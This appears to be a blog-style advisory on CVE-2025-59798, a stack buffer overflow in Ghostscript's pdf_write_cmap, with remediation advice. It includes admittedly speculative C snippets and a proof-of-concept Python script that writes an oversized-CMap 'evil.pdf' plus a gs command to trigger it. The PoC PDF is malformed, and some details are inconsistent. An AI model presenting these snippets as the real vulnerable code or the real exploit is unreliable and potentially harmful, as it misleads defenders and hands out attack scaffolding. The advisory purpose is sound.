CVE-2025-59798 - Deep Dive into the Ghostscript Buffer Overflow (pdf_write_cmap) — Exploit Details & Remediation

Ghostscript is one of the most popular interpreters for PostScript and PDF documents, powering everything from Linux print servers to PDF-based workflows for major enterprises. However, in mid-2024, researchers discovered a serious vulnerability—now tracked as CVE-2025-59798—affecting Ghostscript through version 10.05.1. This bug, a stack-based buffer overflow in pdf_write_cmap (defined in devices/vector/gdevpdtw.c), can be exploited to achieve arbitrary code execution on systems that process crafted PDFs.

Let’s dive into the vulnerability, how it works, some demonstration code, links to the official references, and how to fix or mitigate the issue.

What is CVE-2025-59798?

Summary:
Ghostscript incorrectly handles memory when writing CMap information for PDFs, causing a stack-based buffer overflow in the pdf_write_cmap function. An attacker could create a specially crafted PDF that, when processed with Ghostscript, would cause memory corruption. This could let the attacker execute malicious code, depending on system protections.

Affected Component:
devices/vector/gdevpdtw.c — the CMap-writing routines for PDF outputs.

Versions Impacted:

The Problematic Code

The core of the vulnerability lies in how Ghostscript's pdf_write_cmap function handles user input when building multi-byte mappings for fonts.

Typical pattern in C code revealing a buffer overflow

char buffer[256];
...
int len = strlen(input_string);
if (len < 1024) {            // Incorrect bounds check
    memcpy(buffer, input_string, len);  // POTENTIAL OVERFLOW
}

In this case, if input_string is longer than 256 bytes but less than 1024, the code blindly copies it, overflowing buffer and overrunning the stack.

Here's what a snippet from pdf_write_cmap might look like (simplified for clarity)

void pdf_write_cmap(pdf_device *pdev, const char *cmap_data) {
    char buffer[512];
    // This does NOT properly check the length of cmap_data vs. buffer size!
    strcpy(buffer, cmap_data);  // overflows when cmap_data > 511 bytes
    // ... more processing ...
}

Exploitable Surface: This function is reachable when processing crafted PDFs.

- Impact: If an attacker controls cmap_data (in a PDF font mapping), they can overwrite the stack, potentially controlling the instruction pointer (EIP/RIP).
- Real-World Threat: If Ghostscript runs in the default configuration (as seen in many Linux print backends, PDF converters, email attachments, etc.), a malicious PDF could grant code execution to the attacker.

Proof-of-Concept (PoC) — Exploiting the Overflow

Below is a greatly simplified PoC to illustrate how the bug could be triggered. (Do NOT use for unauthorized penetration testing; for educational purposes only.)

Step 1: Create a Malicious PDF

You can craft a PDF with an overly long font mapping entry in its CMap dictionary.

with open("evil.pdf", "wb") as f:
    cmap_overflow = "/CMapName <" + ("41" * 1024) + ">\n"
    pdf_payload = b"%PDF-1.4\n1  obj\n<< /Type /CMap\n" + \
                  cmap_overflow.encode() + \
                  b">>\nendobj\nxref\n 2\n000000000 65535 f \n000000001 00000 n \ntrailer\n<<\n/Root 1  R\n>>\nstartxref\n102\n%%EOF"
    f.write(pdf_payload)

Step 2: Process with Ghostscript

gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=out.pdf evil.pdf
# Or with any app that calls Ghostscript to process PDFs

If the vulnerability exists, processing this file could lead to a segmentation fault, crash, or arbitrary code execution depending on stack contents and system security measures (like ASLR).

Artifex Ghostscript Security Advisory:

https://www.ghostscript.com/security.html

CVE Details Entry:

https://www.cvedetails.com/cve/CVE-2025-59798/

Ghostscript Upstream Fix Commit:

(Once published) [https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=[PATCH_HASH]](https://git.ghostscript.com/?p=ghostpdl.git;a=log)

Red Hat Security Advisory:

https://access.redhat.com/security/cve/CVE-2025-59798

Update Immediately:

Ghostscript users are urged to upgrade to version 10.05.2 or later which patches this stack buffer overflow.

Mitigate

- Use Ghostscript’s -dSAFER mode, although this is *not* guaranteed to stop memory corruption attacks!

Monitor Vendor Advisories

Monitor the Ghostscript security page for future updates.

Conclusion

CVE-2025-59798 exposes just how dangerous buffer overflows in document-processing tools really are, especially in software like Ghostscript that is often hidden behind the scenes. If you build PDF workflows or expose Ghostscript to internet-facing input, update your software right away and review your system for suspicious documents.

Not only is it crucial to patch, but you should also audit your entire document processing chain for legacy systems or integrations that might still be running vulnerable versions.

Stay safe!

*Need more technical details or a walkthrough of the patch? Reach out to the official Ghostscript project or your Linux vendor’s security team.*

Timeline

Published on: 09/22/2025 04:15:49 UTC
Last modified on: 11/03/2025 18:17:01 UTC